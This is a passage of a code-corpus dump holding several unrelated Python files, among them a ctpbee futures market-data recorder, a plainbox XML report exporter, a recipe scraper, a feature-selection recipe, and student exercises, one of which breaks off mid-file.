\"\"\"\n# if not auth_time(tick.datetime.time()):\n# \"\"\" 过滤非交易时间段的数据 \"\"\"\n# return\n#\n# if self.datetime_queue.empty() or self.datetime_queue.qsize() <= self.queue_length:\n# pass\n# else:\n# q = self.datetime_queue.get()\n# interval = q - tick.datetime\n# if interval > 3600 * 4 or q < tick.datetime:\n# \"\"\" 如���出现间隔过大或者时间小于队列的里面的数据,那么代表着脏数据\"\"\"\n# return\n# self.datetime_queue.put(TimeIt(tick.datetime))\n# database_c[tick.local_symbol].insert_one(tick._to_dict())\n\n\napi = CtpbeeApi(\"api\")\n\n\n@api.route(handler=\"tick\")\ndef handle_tick(self, tick):\n \"\"\" \"\"\"\n print(tick)\n # print(\"当前时间: \", str(datetime.now()))\n # print(\"tick时间: \", str(tick.datetime))\n\n\n@api.route(handler=\"bar\")\ndef handle_bar(self, bar):\n # print(bar)\n pass\n\n\ndef create_app():\n from ctpbee import CtpBee\n app = CtpBee(\"recorder\", __name__)\n last = CtpBee(\"trader\", __name__)\n\n last.config.from_mapping({\n \"CONNECT_INFO\": {\n \"userid\": \"089131\",\n \"password\": \"350888\",\n \"brokerid\": \"9999\",\n \"md_address\": \"tcp://218.202.237.33:10112\",\n \"td_address\": \"tcp://218.202.237.33:10102\",\n \"product_info\": \"\",\n \"appid\": \"simnow_client_test\",\n \"auth_code\": \"0000000000000000\"\n },\n \"INTERFACE\": \"ctp\", # 接口声明\n \"TD_FUNC\": True, # 开启交易功能\n \"MD_FUNC\": False\n })\n last.start()\n x = {\n \"CONNECT_INFO\": {\n \"userid\": \"\", # 期货账户名\n \"password\": \"\", # 登录密码\n \"brokerid\": \"8899\", # 期货公司id\n \"md_address\": \"tcp://211.95.40.228:42213\", # 行情地址\n \"td_address\": \"\", # 交易地址\n \"appid\": \"\", # 产品名\n \"auth_code\": \"\", # 认证码\n \"product_info\": \"\" # 产品信息\n },\n \"INTERFACE\": \"ctp\", # 登录期货生产环境接口\n \"TD_FUNC\": False\n }\n # 载入配置信息\n app.config.from_mapping(x)\n app.add_extension(api)\n app.start()\n return app, last\n\n\nif __name__ == '__main__':\n from ctpbee import hickey\n app, last = create_app()\n import time\n time.sleep(1)\n for x in last.recorder.get_all_contracts():\n app.action.subscribe(x.local_symbol)\n","sub_path":"examples/mg_data_recorder.py","file_name":"mg_data_recorder.py","file_ext":"py","file_size_in_byte":4416,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"28272241","text":"# This file is part of Checkbox.\n#\n# Copyright 2013 Canonical Ltd.\n# Written by:\n# Sylvain Pineau \n# Zygmunt Krynicki \n#\n# Checkbox is free software: you can redistribute it and/or modify\n# it under the terms of the GNU General Public License version 3,\n# as published by the Free Software Foundation.\n\n#\n# Checkbox is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with Checkbox. If not, see .\n\n\"\"\"\n:mod:`plainbox.impl.exporter.xml`\n=================================\n\nXML exporter for :term:`certification website`\n\n.. warning::\n THIS MODULE DOES NOT HAVE A STABLE PUBLIC API\n\"\"\"\n\nfrom base64 import standard_b64decode\nfrom collections import OrderedDict\nfrom datetime import datetime\nfrom io import BytesIO\nimport logging\n\nfrom lxml import etree as ET\nfrom pkg_resources import resource_filename\n\nfrom plainbox import __version__ as version\nfrom plainbox.abc import IJobResult\nfrom plainbox.impl.exporter import SessionStateExporterBase\n\n\nlogger = logging.getLogger(\"plainbox.exporter.xml\")\n\n\nclass XMLValidator:\n \"\"\"\n A validator for documents produced by XMLSessionStateExporter\n \"\"\"\n\n def __init__(self):\n \"\"\"\n Initialize a new XMLValidator\n\n :raises ImportError: when lxml is not installed\n \"\"\"\n schema_path = resource_filename(\n \"plainbox\", \"data/report/hardware-1_0.rng\")\n self._validator = ET.RelaxNG(file=schema_path)\n\n def validate_text(self, text):\n \"\"\"\n Validate the given text\n\n :param text: text to validate\n \"\"\"\n element = ET.fromstring(text)\n return self.validate_element(element)\n\n def validate_element(self, element):\n \"\"\"\n Validate the given element\n\n :param element: lxml.etree.ElementTree.Element to validate\n :returns: True, if the document is valid\n \"\"\"\n return self._validator.validate(element)\n\n\nclass XMLSessionStateExporter(SessionStateExporterBase):\n \"\"\"\n Session state exporter creating XML documents\n\n The following resource jobs are needed to validate sections of this report:\n * 2013.com.canonical.certification::package (Optional)\n * 2013.com.canonical.certification::uname (Optional)\n * 2013.com.canonical.certification::lsb (Mandatory)\n * 2013.com.canonical.certification::cpuinfo (Mandatory)\n * 2013.com.canonical.certification::dpkg (Mandatory)\n\n The Hardware sections includes the content of the following attachments:\n * 2013.com.canonical.certification::dmi_attachment\n * 2013.com.canonical.certification::sysfs_attachment\n * 2013.com.canonical.certification::udev_attachment\n \"\"\"\n\n NS = '2013.com.canonical.certification::'\n\n OPTION_CLIENT_NAME = 'client-name'\n SUPPORTED_OPTION_LIST = (OPTION_CLIENT_NAME, )\n\n # These are the job statuses allowed by the checkbox parser.\n # This is a limitation of the certification website, so we\n # have to accomodate that here.\n _ALLOWED_STATUS = [\n \"none\",\n IJobResult.OUTCOME_PASS,\n IJobResult.OUTCOME_FAIL,\n IJobResult.OUTCOME_SKIP]\n\n # This describes mappings from all possible plainbox job statuses\n # to one of the allowed statuses listed above.\n _STATUS_MAP = {\n \"none\": \"none\",\n IJobResult.OUTCOME_NONE: \"none\",\n IJobResult.OUTCOME_PASS: IJobResult.OUTCOME_PASS,\n IJobResult.OUTCOME_FAIL: IJobResult.OUTCOME_FAIL,\n IJobResult.OUTCOME_SKIP: IJobResult.OUTCOME_SKIP,\n IJobResult.OUTCOME_UNDECIDED: \"none\",\n IJobResult.OUTCOME_NOT_IMPLEMENTED: IJobResult.OUTCOME_SKIP,\n IJobResult.OUTCOME_NOT_SUPPORTED: IJobResult.OUTCOME_SKIP}\n\n def __init__(self, option_list=None, system_id=None, timestamp=None,\n client_version=None, client_name='plainbox'):\n \"\"\"\n Initialize a new XMLSessionStateExporter with given arguments.\n\n This exporter is special-purpose so it differs a little from what other\n exporters do. It does not support any options (it still uses options to\n initialize some of the internal state) but instead has three arguments\n that should be provided in actual situation.\n\n :param system_id:\n An anonymous system identifier sent to the :term:`certification\n website`. This is currently ill-defined and is a legacy of\n :term:`CheckBox` design.\n\n :param timestamp:\n A timestamp that is embedded in the produced XML.\n Defaults to current data and time.\n\n :param client_version:\n The version of the exporter to report. Defaults to the version of\n :term:`PlainBox`.\n\n :param client_name:\n The name of the exporter to report. Defaults to \"plainbox\".\n \"\"\"\n # Super-call with empty option list\n super(XMLSessionStateExporter, self).__init__((option_list))\n # All the \"options\" are simply a required configuration element and are\n # not optional in any way. There is no way to opt-out.\n xml_options = (SessionStateExporterBase.OPTION_WITH_IO_LOG,\n SessionStateExporterBase.OPTION_FLATTEN_IO_LOG,\n SessionStateExporterBase.OPTION_WITH_JOB_DEFS,\n SessionStateExporterBase.OPTION_WITH_RESOURCE_MAP,\n SessionStateExporterBase.OPTION_WITH_COMMENTS,\n SessionStateExporterBase.OPTION_WITH_ATTACHMENTS)\n for option in xml_options:\n self.set_option_value(option)\n\n # Generate a dummy system hash if needed\n if system_id is None:\n # FIXME: Compute an real system_id for submission to\n # Launchpad Note: Using DMI data won't work on arm platforms\n system_id = \"\"\n self._system_id = system_id\n # Generate a timestamp if needed\n if timestamp is None:\n timestamp = datetime.utcnow().strftime(\"%Y-%m-%dT%H:%M:%S\")\n self._timestamp = timestamp\n # Use current version unless told otherwise\n if client_version is None:\n client_version = \"{}.{}.{}\".format(*version[:3])\n self._client_version = client_version\n # Remember client name\n self._client_name = client_name\n # If a client name was specified as an option, prefer that.\n if self.get_option_value('client-name'):\n self._client_name = self.get_option_value('client-name')\n\n def dump(self, data, stream):\n \"\"\"\n Public method to dump the XML report to a stream\n \"\"\"\n root = self.get_root_element(data)\n # XXX: this is pretty terrible but I have not found another\n # way of getting around the problem.\n #\n # Problem: lxml.etree.ElementTree().write() does not support\n # encoding=\"unicode\" as xml.etree.ElementTree().write() does.\n # This special value for encoding indicates that no encoding should be\n # performed and that original strings should be returned.\n # Apparently lxml does not support that and always returns bytes.\n #\n # Workaround: transcode via UTF-8\n with BytesIO() as helper_stream:\n ET.ElementTree(root).write(\n helper_stream, xml_declaration=True, encoding=\"UTF-8\",\n pretty_print=True)\n stream.write(helper_stream.getvalue())\n\n def get_root_element(self, data):\n \"\"\"\n Get the XML element of the document exported from the given data\n \"\"\"\n root = ET.Element(\"system\", attrib={\"version\": \"1.0\"})\n self._add_context(root, data)\n self._add_hardware(root, data)\n self._add_questions(root, data)\n self._add_software(root, data)\n self._add_summary(root, data)\n return root\n\n def _add_context(self, element, data):\n \"\"\"\n Add the context section of the XML report\n \"\"\"\n context = ET.SubElement(element, \"context\")\n for job_id in data[\"attachment_map\"]:\n # The following attachments are used by the hardware section\n if job_id in ['{}dmi_attachment'.format(self.NS),\n '{}sysfs_attachment'.format(self.NS),\n '{}udev_attachment'.format(self.NS)]:\n continue\n # The only allowed attribute is the job command\n # But to be used safely backslash continuation characters have\n # to be removed.\n # The new certification website displays the job name instead.\n # So send what it expects.\n info = ET.SubElement(\n context, \"info\", attrib={\n \"command\": job_id[len(self.NS):]\n if job_id.startswith(self.NS) else job_id\n }\n )\n # Special case of plain text attachments, they are sent without any\n # base64 encoding, this may change if we add the MIME type to the\n # list of attributes\n content = \"\"\n try:\n content = standard_b64decode(\n data[\"attachment_map\"][job_id].encode()).decode(\"UTF-8\")\n except UnicodeDecodeError:\n content = data[\"attachment_map\"][job_id]\n finally:\n info.text = content\n\n def get_resource(self, data, partial_id):\n \"\"\"\n Get resource with the specified partial_id\n\n :param data:\n data obtained from get_session_data_subset()\n :param partial_id:\n partial identifier of the resuorce job\n :returns:\n List of resource objects or None. Does not return empty lists.\n \"\"\"\n resource_id = '{}{}'.format(self.NS, partial_id)\n resource = data[\"resource_map\"].get(resource_id)\n if resource:\n return resource\n\n def _add_hardware(self, element, data):\n \"\"\"\n Add the hardware section of the XML report\n \"\"\"\n def as_text(attachment):\n return standard_b64decode(\n data[\"attachment_map\"][attachment].encode()\n ).decode(\"ASCII\", \"ignore\")\n hardware = ET.SubElement(element, \"hardware\")\n # Attach the content of \"dmi_attachment\"\n dmi = ET.SubElement(hardware, \"dmi\")\n if \"{}dmi_attachment\".format(self.NS) in data[\"attachment_map\"]:\n dmi.text = as_text(\"{}dmi_attachment\".format(self.NS))\n # Attach the content of \"sysfs_attachment\"\n sysfs_attributes = ET.SubElement(hardware, \"sysfs-attributes\")\n if \"{}sysfs_attachment\".format(self.NS) in data[\"attachment_map\"]:\n sysfs_attributes.text = as_text(\n \"{}sysfs_attachment\".format(self.NS))\n # Attach the content of \"udev_attachment\"\n udev = ET.SubElement(hardware, \"udev\")\n if \"{}udev_attachment\".format(self.NS) in data[\"attachment_map\"]:\n udev.text = as_text(\"{}udev_attachment\".format(self.NS))\n cpuinfo_data = self.get_resource(data, \"cpuinfo\")\n if cpuinfo_data is not None:\n processors = ET.SubElement(hardware, \"processors\")\n try:\n count = int(cpuinfo_data[0].get('count', '0'))\n except ValueError:\n count = 0\n for i in range(count):\n processor = ET.SubElement(\n processors, \"processor\",\n attrib=OrderedDict((\n (\"id\", str(i)),\n (\"name\", str(i)))))\n for key, value in sorted(cpuinfo_data[0].items()):\n cpu_property = ET.SubElement(\n processor, \"property\",\n attrib=OrderedDict((\n (\"name\", key),\n (\"type\", \"str\"))))\n cpu_property.text = value\n\n def _add_answer_choices(self, element):\n \"\"\"\n Helper writing the answer_choices sections of the XML report\n Every question element must have this group of values.\n \"\"\"\n answer_choices = ET.SubElement(element, \"answer_choices\")\n for status in self._ALLOWED_STATUS:\n value = ET.SubElement(\n answer_choices, \"value\", attrib={\"type\": \"str\"})\n value.text = status\n\n def _add_questions(self, element, data):\n \"\"\"\n Add the questions section of the XML report, using the result map\n \"\"\"\n questions = ET.SubElement(element, \"questions\")\n for job_id, job_data in data[\"result_map\"].items():\n # Resource jobs are managed in the hardware/software/summary\n # sections and regular attachments are listed in the context\n # element (but dmi, sysfs-attributes and udev are part of the\n # hardware section).\n if job_data[\"plugin\"] in (\"resource\", \"local\", \"attachment\"):\n continue\n question = ET.SubElement(\n questions, \"question\", attrib={\n \"name\": job_id[len(self.NS):]\n if job_id.startswith(self.NS) else job_id\n }\n )\n answer = ET.SubElement(\n question, \"answer\", attrib={\"type\": \"multiple_choice\"})\n if job_data[\"outcome\"]:\n answer.text = self._STATUS_MAP[job_data[\"outcome\"]]\n else:\n answer.text = self._ALL_STATUS[0]\n self._add_answer_choices(question)\n comment = ET.SubElement(question, \"comment\")\n if \"comments\" in job_data and job_data[\"comments\"]:\n comment.text = job_data[\"comments\"]\n elif job_data[\"io_log\"]:\n comment.text = standard_b64decode(\n job_data[\"io_log\"].encode()).decode('UTF-8')\n else:\n comment.text = \"\"\n\n def _add_software(self, element, data):\n \"\"\"\n Add the software section of the XML report\n \"\"\"\n software = ET.SubElement(element, \"software\")\n lsb_data = self.get_resource(data, \"lsb\")\n if lsb_data is not None:\n lsbrelease = ET.SubElement(software, \"lsbrelease\")\n for key, value in lsb_data[0].items():\n lsb_property = ET.SubElement(\n lsbrelease, \"property\",\n attrib=OrderedDict((\n (\"name\", key),\n (\"type\", \"str\"))))\n lsb_property.text = value\n package_data = self.get_resource(data, \"package\")\n if package_data is not None:\n packages = ET.SubElement(software, \"packages\")\n for index, package_dict in enumerate(package_data):\n package = ET.SubElement(\n packages, \"package\", attrib=OrderedDict((\n (\"id\", str(index)),\n (\"name\", package_dict[\"name\"]))))\n for key, value in package_dict.items():\n if key == \"name\":\n continue\n package_property = ET.SubElement(\n package, \"property\", attrib=OrderedDict((\n (\"name\", key),\n (\"type\", \"str\"))))\n package_property.text = value\n requirements_data = self.get_resource(data, \"requirements\")\n if requirements_data is not None:\n requirements = ET.SubElement(software, \"requirements\")\n for index, requirements_dict in enumerate(requirements_data):\n requirement = ET.SubElement(\n requirements, \"requirement\", attrib=OrderedDict((\n (\"id\", str(index)),\n (\"name\", requirements_dict[\"name\"]))))\n for key, value in requirements_dict.items():\n if key == \"name\":\n continue\n requirements_property = ET.SubElement(\n requirement, \"property\", attrib=OrderedDict((\n (\"name\", key),\n (\"type\", \"str\"))))\n requirements_property.text = value\n\n def _add_summary(self, element, data):\n \"\"\"\n Add the summary section of the XML report\n \"\"\"\n summary = ET.SubElement(element, \"summary\")\n # Insert client identifier\n ET.SubElement(\n summary, \"client\", attrib=OrderedDict((\n (\"name\", self._client_name),\n (\"version\", self._client_version))))\n # Insert the generation timestamp\n ET.SubElement(\n summary, \"date_created\", attrib={\"value\": self._timestamp})\n # Dump some data from 'dpkg' resource\n dpkg_data = self.get_resource(data, \"dpkg\")\n if dpkg_data is not None:\n ET.SubElement(\n summary, \"architecture\", attrib={\n \"value\": dpkg_data[0][\"architecture\"]})\n # Dump some data from 'lsb' resource\n lsb_data = self.get_resource(data, \"lsb\")\n if lsb_data is not None:\n ET.SubElement(\n summary, \"distribution\", attrib={\n \"value\": lsb_data[0][\"distributor_id\"]})\n ET.SubElement(\n summary, \"distroseries\", attrib={\n \"value\": lsb_data[0][\"release\"]})\n # Dump some data from 'uname' resource\n uname_data = self.get_resource(data, \"uname\")\n if uname_data is not None:\n ET.SubElement(\n summary, \"kernel-release\", attrib={\n \"value\": uname_data[0][\"release\"]})\n # NOTE: this element is a legacy from the previous certification\n # website. It is retained for compatibility.\n ET.SubElement(\n summary, \"private\", attrib={\"value\": \"False\"})\n # NOTE: as above, legacy compatibility\n ET.SubElement(\n summary, \"contactable\", attrib={\"value\": \"False\"})\n # NOTE: as above, legacy compatibility\n ET.SubElement(\n summary, \"live_cd\", attrib={\"value\": \"False\"})\n # Insert the system identifier string\n ET.SubElement(\n summary, \"system_id\", attrib={\"value\": self._system_id})\n","sub_path":"venv/lib/python3.6/site-packages/plainbox/impl/exporter/xml.py","file_name":"xml.py","file_ext":"py","file_size_in_byte":18575,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"231959789","text":"import os\nimport mammoth\n\nvalue = input(\"请输入需要转换的docx(包括路径): \")\n\nif value.rfind(\".docx\") == -1:\n print('请选择docx文件')\nelse:\n position = value.find(\".docx\")\n name = value[:position]\n name = name[name.rfind(\"/\") + 1:]\n\n docx = open(value,\"rb\")\n result = mammoth.convert_to_html(docx)\n html = result.value\n\n w = open(\"./src/assets/word/opt/%s.js\"%(name), \"w\")\n \n w.write(\"let result = '%s'\\n\\nexport default result\"%html)","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":480,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"437035597","text":"'''\nCreate a list of two sports. Ask the user what their favourite sport is and\nadd this to the end of the list. Sort the list and display it.\n'''\n\nsports = ['tennis', 'crossfit']\n\nprint('These are the sports:')\nfor i in sports:\n print(i)\n\noption = input('Enter an other sport: ')\nsports.append(option)\nsports.sort()\n\nprint(sports)","sub_path":"e071.py","file_name":"e071.py","file_ext":"py","file_size_in_byte":334,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"572593040","text":"\"\"\"Forward Feature Selection using an sklearn estimator.\"\"\"\n\n\"\"\"\nSettings for this recipe:\n\nTARGET_COLUMN: Column name of target variable\nESTIMATOR: Base sklearn estimator\nK_FEATURES: Number of final features to select\nSCORING: Scoring metric\nCV: Number of cross-validation folds\n\nMore details available here: http://rasbt.github.io/mlxtend/user_guide/feature_selection/SequentialFeatureSelector\n\nP.S. Categorical inputs need to be converted to numeric before running feature selection.\n\"\"\"\n\nimport datatable as dt\nimport numpy as np\nimport pandas as pd\nfrom h2oaicore.data import CustomData\nimport typing\nfrom sklearn.linear_model import LogisticRegression\n\n# Please edit these before usage (default values are for credit card dataset)\nTARGET_COLUMN = 'default payment next month'\nESTIMATOR = LogisticRegression()\nK_FEATURES = 10\nSCORING = 'accuracy'\nCV = 5\n\n\nclass ForwardFeatureSelection(CustomData):\n _modules_needed_by_name = [\"mlxtend\"]\n\n @staticmethod\n def create_data(X: dt.Frame = None) -> pd.DataFrame:\n if X is None:\n return []\n\n from mlxtend.feature_selection import SequentialFeatureSelector as SFS\n\n X = X.to_pandas()\n y = X[TARGET_COLUMN].values\n X.drop(TARGET_COLUMN, axis=1, inplace=True)\n\n sfs = SFS(ESTIMATOR,\n k_features=K_FEATURES,\n forward=True,\n floating=False,\n scoring=SCORING,\n cv=CV,\n n_jobs=-1)\n\n sfs.fit(X, y)\n\n X_fs = X.iloc[:, list(sfs.k_feature_idx_)]\n\n return X_fs\n","sub_path":"data/feature_selection_forward.py","file_name":"feature_selection_forward.py","file_ext":"py","file_size_in_byte":1583,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"347410786","text":"#!/usr/bin/env python\n# encoding: utf-8\n\nimport unicodedata\nfrom ._abstract import AbstractScraper\nfrom ._utils import get_minutes, normalize_string\n\n\nclass BudgetBytes(AbstractScraper):\n\n @classmethod\n def host(self):\n return 'budgetbytes.com'\n\n def title(self):\n return self.soup.find('h1').get_text()\n\n def total_time(self):\n return {\n 'prep-time': get_minutes(self.soup.find('time', {'itemprop': 'prepTime'})),\n 'cook-time': get_minutes(self.soup.find('time', {'itemprop': 'cookTime'}))\n }\n\n def servings(self):\n try:\n return self.soup.find('span', {'itemprop': 'recipeYield'}).get_text()\n except:\n return ''\n\n def ingredients(self):\n ingredients_html = self.soup.findAll('li', {'class': 'wprm-recipe-ingredient'})\n ingredients = []\n\n for ingredient in ingredients_html:\n ingredient = normalize_string(ingredient.get_text())\n ingredient = ingredient.split(' $', 1)[0]\n\n try:\n array = ingredient.split(' ', 2)\n ingredient_dict = {\n 'quantity': round(unicodedata.numeric(array[0]), 3),\n 'measurement': array[1],\n 'title': array[2]\n }\n except:\n ingredient_dict = {\n 'title': ingredient\n }\n\n ingredients.append(ingredient_dict)\n\n return ingredients\n\n def instructions(self):\n instructions_html = self.soup.findAll('li', {'class': 'wprm-recipe-instruction'})\n\n return [\n normalize_string(instruction.get_text())\n for instruction in instructions_html\n ]\n\n def description(self):\n li = self.soup.find('article', {'class': 'post'}).findAll('p')\n return li[0].get_text()\n\n def image(self):\n try:\n return self.soup.find('img', {'itemprop': 'image'})[\"src\"]\n except:\n return ''\n","sub_path":"recipe_scrapers/budgetbytes.py","file_name":"budgetbytes.py","file_ext":"py","file_size_in_byte":2011,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"322638234","text":"#importamos la libreria \n\nimport csv\nprint(\"\\n\\n\\t\\t\\t\\tBienvenido a este programa sobre el estado del semáforo COVID\")\n\n#Mandamos a llamar al archivo csv y lo leemos\n\nwith open(\"cov.csv\", newline=\"\") as File: \n reader = csv.reader(File, delimiter=\";\")\n \n conta = 0 #cuenta los enfermos\n i = -1 #cuenta las filas leidas\n suma_edad = 0 #suma de las edades\n \n #Para cada línea en el archivo(para cada indicador junto con la edad)\n for row in reader:\n if i > 0: \n \n #si tiene covid\n if float(row[1]) > 0.75: \n conta += 1 #aumentamos de 1 en 1, los enfermos\n suma_edad += float(row[0]) #juntamos la edad\n i += 1 \n promedio_edad = suma_edad / i #calculamos el promedio de la edad\n \n #Mostramos la situación del semáforo COVID en base a los enfermos\n if conta == 0:\n print(\"\\n\\n\\tEl semáforo covid se encuentra en color: Verde\")\n elif conta >= 1 and conta <= 30:\n print(\"\\n\\n\\tEl semáforo covid se encuentra en color: Amarillo\")\n elif conta >= 31 and conta <= 70:\n print(\"\\n\\n\\tEl semáforo covid se encuentra en color: Naranja\")\n elif conta >= 71 and conta <= 100:\n print(\"\\n\\n\\tEl semáforo covid se encuentra en color: Rojo\") \n \n # Mostramos los resultados\n print(\"\\nTamaño de la muestra de ciudadanos: %i\" % (i))\n print(\"\\nCantidad de enfermos: %i\" % (conta))\n print(\"\\nPromedio de la edad de los ciudadanos: %.2f\\n\" % (promedio_edad))\n \n print(\"Por favor usa tu cubrebocas\")\n print(\"Al hacerlo te cuidas tú, y a los demás también\")\n print(\"Ayuda a que cada día sea mejor\")\n print(\"Ayuda a que cada día esto termine más rápido :)\")\n \n File.close() #cerramos el archivo\n","sub_path":"Examen/Código-Examen-VíctorManuel-GonzálezMedina.py","file_name":"Código-Examen-VíctorManuel-GonzálezMedina.py","file_ext":"py","file_size_in_byte":1779,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"86950672","text":"import ctypes\nimport numpy as np\nfrom numpy.ctypeslib import ndpointer\nimport time\n\nclass Operator():\n\n \"\"\"\n Base class to implement the operator\n\n Parameters\n ----------\n params : dictionary\n Dictionary with propagation params\n \"\"\"\n def __init__(self, params):\n self.params = params\n\n self.dimension = params['dimension']\n self.grid = params['grid']\n self.compiler = params['compiler']\n self.velmodel = params['vel_model']\n self.density = params['density']\n self.timesteps = params['timesteps']\n self.dz = params['dz']\n self.dx = params['dx']\n self.dt = params['dt']\n self.print_steps = params['print_steps']\n\n # load the lib\n self.load_lib()\n\n def load_lib(self):\n\n # compile the code\n shared_object = self.compiler.compile()\n\n lib = ctypes.cdll.LoadLibrary(shared_object)\n\n self.acoustic_forward = lib.acoustic_forward\n\n self.acoustic_forward.restype = ctypes.c_int\n\n self.acoustic_forward.argtypes = [ndpointer(ctypes.c_float, flags=\"C_CONTIGUOUS\"),\n ndpointer(ctypes.c_float, flags=\"C_CONTIGUOUS\"),\n ctypes.c_size_t,\n ctypes.c_size_t,\n ctypes.c_size_t,\n ctypes.c_float,\n ctypes.c_float,\n ctypes.c_float,\n ctypes.c_int]\n\n def forward(self):\n\n nz, nx = self.grid.shape\n\n print(\"Computing forward...\")\n\n start_time = time.time()\n\n status = self.acoustic_forward(self.grid.wavefield,\n self.velmodel.model,\n nz,\n nx,\n self.timesteps,\n self.dz,\n self.dx,\n self.dt,\n self.print_steps)\n\n elapsed_time = (time.time() - start_time)\n\n if status != 0:\n raise Exception(\"Operator forward lib failed\")\n\n return self.grid.wavefield, elapsed_time\n","sub_path":"devito/meus/content/pywave/src/utils/operator.py","file_name":"operator.py","file_ext":"py","file_size_in_byte":2396,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"248573351","text":"## CS 2120 Assignment #3\n## Name: Shi (Susan) Hu\n## Student number: 250687453\n\nimport numpy\nimport pylab\nimport math\nimport scipy.io as io\nimport scipy.stats as stats\n\ndef loaddata(filename):\n\t\"\"\"\n\tThis function loads and reads the file `a3data.csv` \n\n\t:returns a LIST of of lists\n\t\"\"\"\n\timport csv\n\n\treader = csv.reader(open(filename, 'r'))\n\tdata = []\n\t\n\tfor r in reader:\n\t\tdata.append(r)\n\t\t\n\treturn data\n\ndef dat2arr(datalist):\n\t\"\"\"\n\tThis function takes in a list of data and returns a 2d array with\n\tthe correct data types. Additionally, it ignores the first column\n\n\t:returns: A 2d array of the passed data ignoring the first column \n\t\t\t and converts all columns to floats except the last columns\n\t\t\t which is converted to an int\n\t\"\"\"\n\tfiltered_array = []\n\tcounter = 0\n\n\tfor val in datalist:\n\t\t#make a new row for every data set\n\t\tfiltered_array.append([])\n\n\t\t#change the type to the appropriate types\n\t\tfiltered_array[counter].append(val[1].astype(numpy.float))\n\t\tfiltered_array[counter].append(val[2].astype(numpy.float))\n\t\tfiltered_array[counter].append(val[3].astype(numpy.float))\n\t\tfiltered_array[counter].append(val[4].astype(numpy.float))\n\t\tfiltered_array[counter].append(val[5].astype(numpy.float))\n\t\tfiltered_array[counter].append(val[6].astype(numpy.float))\n\t\tfiltered_array[counter].append(val[7].astype(numpy.int))\n\t\tcounter += 1\n\n\treturn filtered_array\n\ndef save_array(arr, fname):\n\t\"\"\"\n\tThis function saves the given array into a matlab file with the given name\n\t\"\"\"\n\tdictionary = {}\n\tdictionary['vampire_array'] = arr\n\tio.savemat(fname, dictionary)\n\treturn\n\ndef column_stats(arr, col):\n\t\"\"\"\n\tThis function process the min max and mean for a specific columns for vampires and\n\tnormal humans\n\n\t:returns: A 2d array with the mean min and max of the vampires in the zero index \n\t\t\tand the mean min and max of normal humans in the first index \n\t\"\"\"\n\n\t#Counter to keep track of total vampires\n\tvampire_counter = 0\n\t#Counter to keep track of total normal humans\n\tnormal_counter = 0\n\n\t#variables to keep track of vampirestats\n\tvampire_mean = 0\n\tvampire_min = 9999999999\n\tvampire_max = -999999999\n\n\t#variables to keep track of human stats\n\tnormal_mean = 0\n\tnormal_min = 9999999999\n\tnormal_max = -999999999\n\n\tvampire_stats = []\n\tnormal_stats = []\n\tall_stats = []\n\n\tfor val in arr:\n\t\t#Calculate vampire stats\n\t\tif (val[6] == 1):\n\t\t\tvampire_mean += val[col]\n\t\t\tvampire_counter += 1\n\t\t\tif (val[col] > vampire_max):\n\t\t\t\tvampire_max = val[col]\n\t\t\tif (val[col] < vampire_min):\n\t\t\t\tvampire_min = val[col]\n\n\t\t#Calculate normal stats\n\t\tif (val[6] == 0):\n\t\t\tnormal_mean += val[col]\n\t\t\tnormal_counter += 1\n\t\t\tif (val[col] > normal_max):\n\t\t\t\tnormal_max = val[col]\n\t\t\tif (val[col] < normal_min):\n\t\t\t\tnormal_min = val[col]\n\n\t#Add the specific vampire stats to the array of vampire stats\n\tvampire_stats.append(vampire_mean/(vampire_counter))\n\tvampire_stats.append(vampire_min)\n\tvampire_stats.append(vampire_max)\n\n\t#Add the specific human stats to the array of human stats\n\tnormal_stats.append(normal_mean/normal_counter)\n\tnormal_stats.append(normal_min)\n\tnormal_stats.append(normal_max)\n\n\t#Aggregate the stats into one array\n\tall_stats.append(vampire_stats)\n\tall_stats.append(normal_stats)\n\n\treturn all_stats\n\ndef hist_compare(arr,col):\n\t\"\"\"\n\tThis function plots two histograms allowing you to compare vampire and human stats\n\t\"\"\"\n\tplot_values = column_stats(arr, col)\n\tpylab.hist(plot_values[0])\n\tpylab.ylabel(\"Y\")\n\tpylab.xlabel(\"X\")\n\tpylab.show()\n\tpylab.hist(plot_values[1])\n\tpylab.ylabel(\"Y\")\n\tpylab.xlabel(\"X\")\n\tpylab.show()\n\treturn\n\ndef corr_column(arr, col1, col2):\n\t\"\"\"\n\tThis function calculates the pearson correlation value between 2 columns of the\n\tgiven data set\n\n\t:returns: 2 tailed pearson r value\n\t\"\"\"\n\tcol_one = get_column(arr, col1)\n\tcol_two = get_column(arr, col2)\n\tr = stats.pearsonr(col_one, col_two)\n\treturn r\n\ndef scatter_columns(arr,col1,col2):\n\t\"\"\"\n\tThis function plots a scatter plot of the two columns of the dataset\n\t\"\"\"\n\tcol_one = get_column(arr, col1)\n\tcol_two = get_column(arr, col2)\n\tpylab.scatter(col_one, col_two)\n\tpylab.ylabel(\"Y\")\n\tpylab.xlabel(\"X\")\n\tpylab.show()\n\n\treturn\n\ndef is_vampire(row, stake_stats, garlic_stats, reflect_stats, shiny_stats):\n\t\"\"\"\n\tThis function calculates the probability that the given data points to a \n\tvampire\n\n\t:returns: A probability between 0.0001 and 0.9999\n\t\"\"\"\n\t#ensures that the probability can never be smaller thatn 0.0001\n\tp = 0.0001\n\n\t#For my calculations, I only needed the mean of the following stats\n\tvampire_stake_mean = stake_stats[0][0]\n\tvampire_shiny_stats = shiny_stats[0][0]\n\tvampire_garlic_stats = garlic_stats[0][0]\n\tvampire_reflect_stats = reflect_stats[0][0]\n\n\t#Calculating the percentile difference between the mean and the actual value\n\n\t#These qualities were weight in terms 